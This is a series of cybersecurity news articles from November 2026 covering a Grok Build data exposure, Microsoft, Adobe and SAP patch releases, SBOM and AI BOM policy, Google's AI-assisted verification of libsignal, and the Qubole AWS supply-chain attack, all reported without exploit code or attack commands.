Grok Build coding agent leaks oodles of confidential info, some belonging to SpaceXSI
Grok Build, the vibe-coding agent from SpaceXSI, is leaking data—some of it proprietary business information and other sensitive secrets—from thousands of its users, including the very same Elon Musk-owned company that offers the platform, new research shows.
The information is revealed through links allowing Grok Build users to share their apps with others. Grok takes steps to randomize the URLs so only people who know the exact URL can access the data stored there. A design decision by developers of the platform, however, completely torpedoes that objective and makes it possible for anyone to enumerate thousands of live Grok Build projects. Except in rare cases, clicking those links opens the app and reveals all data associated with it.
You had one job
Research from security firm Claroc shows that the exposed data includes things like internal business plans, ad proposals, medical exam results, galley checklists from a celebrity cruise line, and employee names and ID numbers. Ironically, some of the sensitive data comes from two-dozen apps built by SpaceXSI (the name of the now-merged SpaceX and xAI) itself. A small sampling of the documents revealed in the SpaceXSI apps—Claroc found 24 of them—include an onboarding plan, marked confidential, for a new member of SpaceXSI’s enterprise sales team, a sales territory map of 594 accounts, internal system addresses for sales team tools, and advertising proposals.
Exploited Outlook Zero-Day Among 1,094 Flaws Patched by Microsoft
Microsoft’s November 2026 Patch Tuesday updates fix 1,094 vulnerabilities across its products, including an Outlook bug that the company says has been exploited.
The zero-day, tracked as CVE-2026-124194, has been classified as a spoofing flaw and stems from Outlook not alerting users before a potentially dangerous action takes place.
Microsoft has assigned it a severity rating of ‘moderate’ and a CVSS score of 6.5. The company’s advisory provides no information about the observed attacks.
For an attack to work, the victim needs to be tricked into opening a malicious file, according to Microsoft.
“An unauthenticated attacker could send a specially crafted message file and convince a user to open it in an affected version of Microsoft Outlook. Opening the file could cause Outlook to connect to an attacker-controlled network location without displaying the usual external-content warning, potentially disclosing authentication information that could be used to impersonate the user,” the tech giant said.
The flaw cannot be triggered through the Preview Pane, Microsoft said. It also clarified, “This vulnerability discloses a user’s NTLMv2 hash to the attacker who could use this to authenticate as the user.”
Advertisement. Scroll to continue reading.
The vulnerability was not publicly disclosed before the fix became available. Affected products include Microsoft 365 Apps for Enterprise, Office LTSC 2021, and Office LTSC 2024.
Microsoft’s advisory credits a researcher using the moniker ‘nono’ and Benoît Sevens with the discovery. The acknowledgment for Sevens mentions the use of Anthropic’s Claude AI model.
Windows accounts for 726 of the flaws patched this month, followed by Office with 174. Microsoft also resolved 59 vulnerabilities in SQL Server, 53 in developer tools, 27 in SharePoint Server, 20 in Azure, and nine in Exchange Server.
In addition, the company republished 165 CVEs from third parties, noting that Chrome vulnerabilities are not listed.
Microsoft’s release summary lists critical-severity updates for Windows 10, Windows 11, Windows Server 2016 through 2025, Office, Exchange Server Subscription Edition, Edge, and the Malware Protection Engine. Azure OpenAI and Azure Managed Grafana are also on the list.
The November release is smaller than October’s, when Microsoft patched a record 1,413 vulnerabilities. With the latest round of patches, Microsoft has fixed more than 5,000 vulnerabilities this year.
This month’s updates are also the final ones for the Enterprise and Education editions of Windows 11 version 23H2. Devices running these editions will not receive any further monthly security updates.
Adobe Patches 110 Vulnerabilities Across 9 Products
Adobe’s November 2026 Patch Tuesday updates fix roughly 110 vulnerabilities across nine products.
New patches are available for Adobe Experience Manager (AEM), Audition, After Effects, Connect, Content Credentials SDK, Dimension, Media Encoder, Photoshop, and Premiere.
Critical-severity issues have been patched in Adobe Connect and AEM, including six Connect flaws with a CVSS score of 10.
The critical flaws include SSRF, path traversal, incorrect authorization, CRLF injection, XXE, code injection, SQL injection, and XSS issues. They can be exploited for privilege escalation and arbitrary code execution.
A total of 38 vulnerabilities have been resolved in AEM and Connect, including high- and medium-severity issues whose exploitation can lead to privilege escalation, file system read, memory exposure, arbitrary code execution, and bypassing security features.
High-severity bugs have been fixed in After Effects, Media Encoder, Premiere, Dimension, Audition, and Photoshop.
Advertisement. Scroll to continue reading.
The Content Credentials Rust SDK (and the C2PA Tool) received patches for roughly a dozen low- and medium-severity issues.
Adobe says it’s not aware of attacks exploiting the newly patched vulnerabilities.
The Connect and AEM patches have a priority rating of 2; the rest are rated 3, which means they are unlikely to be exploited in the wild.
Software Transparency Is Changing: Allan Friedman on SBOM, AI BOMs and What Comes Next
Modern software is built on layers of dependencies, open source components, third party libraries and increasingly, artificial intelligence models and external data sources. For security teams, understanding exactly what is running inside an application has become less of a compliance exercise and more of an operational necessity.
That is the foundation behind the Software Bill of Materials, or SBOM.
In a recent episode of the SecurityWeek Podcast, host Brian “SchleiF” Schleifer sat down with cybersecurity policy expert Allan Friedman for a wide-ranging discussion about the origins of SBOM, how organizations should actually use the data, the emergence of AI BOMs, vulnerability management, VEX, and where software transparency may be heading next.
Friedman, who helped drive early government and industry work around SBOM, offered perhaps the simplest explanation for why the concept matters.
“Software isn’t written, it’s assembled,” Friedman said. “What’s it assembled out of? More software.”
In practical terms, an SBOM provides a structured representation of the components and dependencies that allow software to function. But Friedman emphasized throughout the conversation that producing an SBOM is not the end goal. The real value comes from what organizations, and their suppliers can do with the information.
Advertisement. Scroll to continue reading.
SBOM Is About Response, Not Just Inventory
Much of the early SBOM conversation focused on whether vendors could generate the documents and whether customers should require them.
The more important question today may be: What happens after you receive one?
Friedman argues that one of the first indicators of software supply chain maturity is simply knowing that a supplier can generate an accurate SBOM.
That capability becomes critical when organizations face the next Log4j style vulnerability, compromise of a major software package, malicious update, or other widespread supply chain event.
A supplier that understands the components within its products can determine its exposure far more quickly than one forced to reconstruct dependencies during an incident. For customers, the same visibility can dramatically shorten response time.
Instead of spending days or weeks contacting vendors and attempting to determine which systems contain a vulnerable component, security teams can analyze their software inventory and dependencies directly.
The objective, however, should ultimately be deeper integration.
Friedman said SBOM information needs to become another source of enterprise security data, feeding vulnerability management, asset management, procurement and continuous risk management processes rather than existing as a static document stored somewhere for future reference.
That distinction matters because attackers are not limited to vulnerabilities associated with the name of the software vendor.
A smaller vendor’s application may contain an outdated framework, library or open source component with a known weakness. Without component level visibility, an organization may never associate that vulnerability with the commercial product deployed in its environment.
Not Every Vulnerability Creates the Same Risk
More visibility can also create another problem: more alerts.
Finding that a vulnerable component exists inside an application does not necessarily mean the vulnerability is exploitable within that specific implementation.
Friedman highlighted the Vulnerability Exploitability eXchange, or VEX, as an important companion to SBOM. VEX provides a machine processable method for communicating whether a vulnerability actually affects a product.
An application, for example, may contain a vulnerable version of a software library but never use the functionality associated with the vulnerability. VEX can provide the context needed to distinguish between the presence of a vulnerable component and an exploitable condition.
That becomes increasingly important as organizations face what Friedman jokingly described as the “vulnerpocalypse”: an environment in which security teams have far more vulnerability information than they have resources to investigate manually.
The combination of SBOM and VEX creates the possibility of better prioritization rather than simply more data.
AI Makes the Transparency Problem More Complicated
The next evolution is already underway.
As organizations embed machine learning, generative AI and autonomous agents into applications, traditional software inventories may no longer capture everything security teams need to understand.
Friedman described the emergence of the AI BOM as inevitable.
At its core, AI is still software, meaning traditional software components remain relevant. But AI systems introduce additional elements that may need to be documented, including the model itself, the data supporting the model, external data sources and the surrounding infrastructure or “harnesses” used to operate the system.
That creates new questions.
Where did the model originate?
What data was used to support it?
What external data is being introduced at runtime?
Who owns the model?
What happens when an agent dynamically creates a tool, executes an action and then disappears?
The last question becomes particularly challenging as AI systems become more dynamic and agentic.
Friedman suggested that the answer may increasingly involve a convergence between traditional BOM concepts, logging, information architecture and third party risk management.
The goal is not necessarily to force every piece of information into an AI BOM. Instead, organizations need enough transparency and supporting evidence to reconstruct what happened, understand dependencies, enforce controls and conduct forensic analysis when necessary.
Transparency Should Favor the Defender
Resistance to SBOM adoption has often centered on concerns about intellectual property and the possibility that providing detailed information about software components could benefit attackers.
Friedman challenged that argument.
Modern reverse engineering capabilities already allow determined attackers to analyze software and identify many of its underlying components. Automated attack frameworks and ransomware operations also frequently do not require an SBOM because they simply test systems against known exploits.
Defenders face a different problem. They need to know where vulnerable components exist across potentially thousands of systems.
“You know who does need visibility into what’s in a piece of software? Blue Team,” Friedman said.
SBOM standards can also support redaction where legitimate proprietary concerns exist, allowing suppliers to disclose the existence of a dependency without necessarily revealing every detail associated with it.
The larger issue, Friedman argued, is determining what information actually needs protection and balancing that concern against the operational value software transparency provides defenders.
From SBOM to an “Omnibomb”
SBOM may ultimately be only one layer of a much larger transparency ecosystem.
AI bills of materials are emerging alongside cryptographic bills of materials designed to identify cryptographic dependencies as organizations prepare for crypto agility and post quantum computing.
Hardware bills of materials can provide similar visibility into physical components such as semiconductors.
Friedman suggested that those different transparency mechanisms could eventually converge into what he jokingly called an “omnibomb.”
Before that happens, however, there is significant work left to do.
Even today’s SBOM ecosystem continues to struggle with interoperability. Two quality SBOM tools analyzing the same software may not necessarily produce identical dependency graphs, making harmonization, minimum requirements and common expectations critical.
Friedman pointed to continuing work among governments, cybersecurity agencies, industry and the open source community to define those expectations and create an ecosystem in which SBOM information can move between suppliers, customers and security tools in a meaningful way.
The ultimate destination is not another compliance document, it is continuous software transparency.
Organizations should be able to understand what their systems depend on, correlate that information with emerging threats and vulnerabilities, determine where actual exposure exists and make risk decisions quickly enough to matter.
Or, as Friedman repeatedly emphasized during the conversation, SBOM is not supposed to solve every cybersecurity problem. It is data. What organizations do with that data is where the security value begins.
Watch or listen to the full SecurityWeek Podcast conversation with Allan Friedman for a deeper discussion on SBOM, AI BOMs, VEX, software supply chain security, continuous monitoring and the future of software transparency.
Google Widens Gemini 4 Carbon Access After AI Agents Verify Signal Code
Google on Tuesday expanded access to Gemini 4 Carbon and said agents built on the model helped formally verify core security guarantees in the code behind the Signal protocol.
Paying developers and businesses can now use Carbon via the Gemini API and Gemini for business, and Google AI Ultra subscribers are getting access. Introductory rates of $2/$10 per million input/output tokens apply until November 30, then double.
Until now, only select cyber defenders in Google’s Fairwind Program could use Carbon. They still need Fairwind membership for Carbon for cyber, which Google says tops key benchmarks for discovering, exploiting and fixing vulnerabilities.
According to Google, Wiz used Carbon for cyber to find zero-days at two major SaaS providers within two hours. Google’s Cloud Vulnerability Research (CVR) team used the model to confirm that two bugs in a popular open source project were exploitable, with severity comparable to PHP2Shell, a pair of PHP flaws that attackers have already exploited.
“By using Carbon to build a proof of concept, CVR helped maintainers re-classify the bug as critical and swiftly issue a patch,” Google said.
Separately, Google DeepMind introduced AlphaProof Code, which pairs human experts with AI agents to formally verify software, mathematically demonstrating that it meets defined requirements.
Advertisement. Scroll to continue reading.
The team applied it to libsignal, the Signal protocol’s reference implementation. Versions of the protocol also run in WhatsApp and Google Messages.
Humans worked with agents running on Carbon and Claude Opus 5.5 to write the specifications defining what had to be proven. Carbon-based agents then generated all of the roughly 6.5 million lines of Lean proofs, with Lean rejecting any invalid ones.
The proven guarantees, including forward secrecy, post-compromise security, and authentication, hold for the compiled machine code, while most protocol verification examines only the design.
Five researchers did the proof work in four weeks, something Google says has traditionally taken specialists years.
To show the method catches real flaws, the team reinserted two old, already-patched libsignal bugs and proved that those builds break the security guarantees.
The results cover Google’s own build of the code, run through a small command-line wrapper, and “not Signal’s own applications.” Side channels were also excluded from parts of the analysis.
“The results suggest that AI can make formal verification, historically too expensive for most software, practical for real-world systems,” the researchers wrote.
“As AI-driven security threats grow, rigorously verifying the Signal protocol implementation gives us even greater confidence in our code’s privacy guarantees,” said Signal CTO Ehren Kret.
Google is publicly releasing the specifications and proofs.
Today: CISO Forum Virtual Summit 2026 – Join Global Cybersecurity Leaders
November 10-11, 2026 | 11:00 AM to 4:00 PM ET – Register
The much-anticipated CISO Forum Virtual Summit 2026 kicks off today, November 10, and runs through tomorrow, November 11. Designed exclusively for senior-level cybersecurity leaders, this immersive two-day virtual event is your premier destination to discuss, share, and learn the most innovative risk management and defense strategies defining the modern enterprise.
If you haven’t secured your virtual seat yet, there’s still time to register and join thousands of enterprise security executives navigating the complexities of the AI-driven threat landscape at virtual.cisoforum.com.
Value of the Summit
This year’s agenda tackles the most pressing challenges facing CISOs. The integration of artificial intelligence into enterprise environments has shifted from a novelty to load-bearing infrastructure, bringing incredible new capabilities alongside unprecedented vulnerabilities. The summit’s sessions are laser-focused on actionable strategies, cutting through the hype to deliver practical frameworks for AI governance, third-party risk management, and vital team resilience.
Day One Highlights: Navigating the AI Era and Human Risk (Tuesday, Nov 10)
Day One dives deep into the realities of modern enterprise security, exploring everything from runtime identity threats to the very human element of cyber defense.
Securing GenAI: A 30-60-90 day framework (11:00 AM ET) – Josh Goldfarb (Field CISO at F5) and Louise Scully (AI Security and Threat Intelligence at F5) present a blueprint for building a repeatable AI security program that scales with your organization’s AI ambitions.
Staying Ahead of Threats in the AI Era (11:45 AM ET) – Andrew Northern, Principal Security Researcher at Censys, will unpack the evolving threat vectors driven by artificial intelligence.
Is the Company Compromised? Runtime Identity Security in the Age of AI (12:15 PM ET) – John Laliberte, CEO and Founder of ClearVector, addresses new paradigms in securing human and machine identities.
Managing Cyber Risk at Machine Speed (1:30 PM ET) – Maril Vernon, Principal Technical Evangelist at Horizon3, will share strategies for providing evidence-based metrics for executive and boardroom decisions.
Burnout Is a Security Risk (2:00 PM ET) – Patrick Kelley, CISO & Founder of Critical Path Security, will provide a vital playbook for measuring and mitigating team fatigue before it leads to a security incident.
Day Two Highlights: AI Agents, Accountability, and Global Threats (Wednesday, Nov 11)
Day Two (November 11) shifts the focus to the autonomous future of cybersecurity, supply chain defense, and hard-earned lessons from the global frontlines.
Securing AI in Production (11:00 AM ET) Mani Ganesan (VP of Product Management, AI Security at F5)
I Said AI Was Just a Faster Clock. Then the Clock Took the Stand (11:30 AM ET) Said Syed (Field CISO and CISO for Snyk for Government at Snyk) shares a new model for scoring potential attack paths instead of individual bugs.
AI Changed the Attack Chain: A New Playbook for Supply Chain Defense (12:00 PM ET) – Garrett Calpouzos from Sonatype Research Labs will explore how AI is redefining vulnerabilities in the software supply chain.
Who Owns the Agent? A CISO’s Framework for AI Accountability (1:15 PM ET) – Stephen Garcia, CISO at BreachRx, will outline accountability frameworks as autonomous AI agents handle increasingly complex tasks.
Alert Fatigue in a War Zone (1:45 PM ET) – Pavlo Chernikov, former Acting Director of Kyiv’s Municipal Cybersecurity Enterprise, will share a powerful case study on how context cut false positives by 90% in a high-stakes environment.
When the Agent Breaks Bad (2:15 PM ET) – Jason Elrod, Healthcare CISO, details why containment is the ultimate AI security control you already possess.
Engage, Learn, and Lead
Beyond the exceptional speaker lineup, the CISO Forum Virtual Summit offers dynamic networking opportunities and interactive panels. Attendees will gain actionable guidance on operationalizing AI governance, navigating changing regulations like the Cyber Resilience Act, and empowering their workforce to innovate securely.
Don’t miss your chance to elevate your security strategy.
Join the conversation today and tomorrow. Register now to access the live streams and on-demand sessions at virtual.cisoforum.com.
WhiteMatter Raises $20 Million in Series A Funding
Cybersecurity startup WhiteMatter on Tuesday announced raising $20 million in a Series A funding round that brings the total raised by the company to $24 million.
The investment round was led by Blumberg Capital, with additional support from previous investors Crew Capital and Sprout & Oak.
Founded in 2024 and previously known as QuilrAI, WhiteMatter has built a platform that helps organizations secure and govern every AI agent running in their environments.
According to WhiteMatter, enterprises can run every AI agent through its platform and gain visibility into where agents are built and used: across endpoints, cloud, SaaS, and code.
The solution deploys and governs every agent, model, and MCP server, observes and secures each action, and optimizes traffic through a single gateway.
WhiteMatter can deploy a dedicated guardian agent for every agent running in the environment, scaling if agents multiply autonomously, to ensure continuous policy-driven control.
Advertisement. Scroll to continue reading.
The cybersecurity startup will use the new investment to accelerate research and development and expand its go-to-market organization. It will also build its executive team.
“Despite all the discussion about pausing AI development, enterprises are doing the opposite. AI technology is too powerful, the opportunity is too significant, and the competitive pressure is too real to put it back in the box,” said WhiteMatter founder and CEO Vidit Arora.
“Companies that slow down AI adoption risk being overtaken by competitors that move fast, stay secure, and scale AI with confidence, which is exactly why we built WhiteMatter,” Arora added.
WhiteMatter has headquarters in San Francisco and Austin.
SAP Patches Critical ICM2SHELL, ProxyGate Vulnerabilities
Enterprise software maker SAP on Tuesday announced the release of 42 new and updated security notes, including nine that resolve critical-severity vulnerabilities.
Four of SAP’s new security notes address maximum-severity flaws in NetWeaver (Internet Communication Manager (ICM) and SAML2 Service Provider), Web Dispatcher, and Gateway.
The ICM and Web Dispatcher flaws, tracked as CVE-2026-76964 and CVE-2026-89126, are a single weakness in the SAP kernel component that receives HTTP, HTTPS, and WebSocket traffic.
According to Onapsis, which calls the security defect ICM2SHELL, the issue is related to reassembling large WebSocket messages, which may be split into fragments during a server-browser exchange and then put together by the receiver.
“A specially crafted sequence of WebSocket messages makes the ICM or the WD write attacker-controlled data past the end of the memory it reserved for the connection. Depending on how that data is shaped, the result is either an immediate crash of the process or controlled corruption of its memory,” Onapsis explains.
ICM2SHELL, the enterprise application security firm says, could allow an attacker to execute operating system commands with <sid>adm privileges.
Advertisement. Scroll to continue reading.
“This is not a theoretical outcome. The Onapsis Research Labs provided SAP a working exploit that achieves full, unauthenticated remote code execution end to end, running arbitrary commands as <sid>adm on the target system. The denial-of-service condition, in turn, reproduced on every SAP Kernel release tested,” Onapsis says.
The max-severity SAP Gateway flaw, tracked as CVE-2026-89103 and referred to as ProxyGate, could be exploited by unauthenticated attackers to achieve remote code execution (RCE) without user interaction.
It is related to the prxyinfo access-control list, which should restrict requests to trusted networks only. However, if left open, it allows an attacker to send a series of requests that appear to be originating from an internal network, tricking the gateway into accepting them.
This allows an attacker to execute OS commands with the <sid>adm privileges and gain full control over the SAP system, without providing a username, password, or certificate.
“Because the flaw is in the SAP kernel, it affects a broad range of releases, including kernel versions that are already out of maintenance. Further, the gateway runs not only on ABAP but also on AS Java, dual-stack, and standalone-gateway systems,” Onapsis explains.
SAP also resolved a max-severity missing authentication bug in NetWeaver (CVE-2026-120017) that, in certain configurations, could allow unauthenticated attackers to submit specially crafted data and impersonate arbitrary users, which could lead to full system compromise.
The remaining five critical notes in SAP’s November 2026 bulletin address vulnerabilities in NetWeaver (CVE-2026-109803 and CVE-2026-76965), S4CRM (CVE-2026-109795), Web Dispatcher (CVE-2026-89119), and BusinessObjects (CVE-2026-109798).
Additionally, SAP published 17 high-severity fixes, including for multiple memory corruption, denial-of-service (DoS), and information disclosure bugs.
Since the scheduled October 2026 security patches, SAP released new notes dealing with the recently disclosed PHP2Shell and Node2Shell vulnerabilities in its Business AI Platform and updated several other notes and advisories. This brings the total to 43 new and updated notes released this month, Onapsis notes in its analysis of the patches.
Over a Dozen Organizations Hit in Qubole Supply Chain Attack
A threat actor used the compromised IAM credentials for an AWS account associated with big-data platform Qubole to steal data from over a dozen organizations, cybersecurity researchers discovered.
The credentials allowed the attackers to assume IAM roles organizations had set up for Qubole’s AWS account and access their AWS environments.
Cross-account IAM roles are normal for SaaS platforms that operate within customers’ AWS environments. During onboarding, customers create a role for Qubole, and the vendor’s AWS account can assume the role when needed, typically via an External ID.
The leaked Qubole credentials allowed the threat actor to assume this role and pull data from the AWS environments of over a dozen companies.
“The doors the attacker used were old ones. Qubole roles were still in place long after companies had stopped using Qubole, and those roles could read nearly all of the data the attacker went after,” cybersecurity firm Sentra notes.
The roles stayed dormant until the campaign kicked off on October 14. They were used until October 26 to enumerate resources, collect secrets and configurations, and access data.
Advertisement. Scroll to continue reading.
The attacks came from a rented OVH server and the Mullvad VPN, and none of the observed activity originated from Qubole’s network, Sentra says.
“The threat actor used role session names that followed a consistent format of the prefix quiam-, followed by a suffix describing the actions taken. This includes session names such as quiam-enum and quiam-scope-full,” Wiz, which analyzed the campaign alongside Sentra, says.
Following enumeration, the attackers harvested secrets from common AWS storage locations, then used TruffleHog to test the credentials. Next, the threat actor exfiltrated data from the victims’ S3 buckets.
“The threat actor appears to have been opportunistic. Rather than looking for specific data, it read from whatever buckets each role could reach, in some cases downloading entire buckets in a single session,” Wiz says.
The cybersecurity firm also identified an ISO file designed to be remotely booted on victim machines to harvest data, but has no evidence of its deployment.
“Wiz has not identified any ties between this campaign and other publicly reported activity. The targeting and data theft appear opportunistic and do not match typical state-backed priorities; however, we don’t have any direct insight into the motivation of the threat actor or how they may use the stolen data,” the company says.
Wiz also discovered a separate campaign involving Qubole integrations, active between October 8 and October 11, in which customer-owned AWS access keys were tested against victim environments, and in some cases used for compromise.
